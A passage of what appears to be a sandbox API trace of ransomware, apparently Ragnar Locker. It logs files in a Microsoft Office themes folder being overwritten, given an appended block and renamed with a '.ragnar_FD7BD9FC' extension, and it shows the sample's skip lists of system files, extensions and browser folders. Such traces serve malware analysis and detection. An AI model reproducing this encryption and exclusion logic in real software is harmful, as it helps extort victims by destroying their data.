Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.090] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=503) returned 1 [0073.090] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.090] GetProcessHeap () returned 0x580000 [0073.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.090] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.091] VirtualAlloc (lpAddress=0x0, dwSize=0x1f7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.091] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.091] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.091] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1f7, lpOverlapped=0x0) returned 1 [0073.091] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.091] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f7, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.091] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1f7, lpOverlapped=0x0) returned 1 [0073.092] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.092] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.092] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.092] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.092] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.092] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.092] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.092] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.092] GetProcessHeap () returned 0x580000 [0073.092] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.092] CloseHandle (hObject=0x100) returned 1 [0073.093] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" [0073.093] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.ragnar_FD7BD9FC" [0073.093] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.094] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.094] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.094] lstrcpyW (in: lpString1=0x1eab6a, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0073.094] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned=".GIF" [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0073.094] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0073.094] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0073.094] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0073.094] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0073.094] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0073.094] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0073.094] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0073.094] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0073.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0073.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.095] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1453) returned 1 [0073.095] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.095] GetProcessHeap () returned 0x580000 [0073.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.095] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.096] VirtualAlloc (lpAddress=0x0, dwSize=0x5ad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.097] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.097] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.097] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x5ad, lpOverlapped=0x0) returned 1 [0073.097] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.097] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ad, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.097] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5ad, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x5ad, lpOverlapped=0x0) returned 1 [0073.097] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.097] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.097] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x5ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.097] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.097] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.098] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.098] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.098] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.098] GetProcessHeap () returned 0x580000 [0073.098] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.098] CloseHandle (hObject=0x100) returned 1 [0073.099] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" [0073.099] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.ragnar_FD7BD9FC" [0073.099] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.099] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d81fc20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d81fc20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.099] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.099] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0073.099] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\RGNR_FD7BD9FC.txt") returned=".txt" [0073.099] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0073.099] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.099] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.099] lstrcpyW (in: lpString1=0x1eab6a, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0073.099] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned=".PNG" [0073.099] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0073.100] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0073.100] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0073.100] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0073.100] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0073.100] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0073.100] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0073.100] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0073.100] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0073.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0073.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.101] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=25106) returned 1 [0073.101] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6209, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.101] GetProcessHeap () returned 0x580000 [0073.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.101] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.103] VirtualAlloc (lpAddress=0x0, dwSize=0x6212, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.103] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.103] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.103] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6212, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6212, lpOverlapped=0x0) returned 1 [0073.104] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.104] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6212, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.104] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6212, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6212, lpOverlapped=0x0) returned 1 [0073.104] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6212, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.104] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.105] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6212, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.105] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.105] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.105] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.105] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.105] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.105] GetProcessHeap () returned 0x580000 [0073.105] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.105] CloseHandle (hObject=0x100) returned 1 [0073.106] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" [0073.106] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0073.106] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.107] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.107] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.107] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2=".") returned 1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="..") returned 1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Windows") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Windows.old") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Tor browser") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Internet Explorer") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Google") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Opera") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Opera Software") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Mozilla") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="Mozilla Firefox") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="$Recycle.Bin") returned 1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="ProgramData") returned -1 [0073.107] lstrcmpiW (lpString1="ECLIPSE", lpString2="All Users") returned 1 [0073.107] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 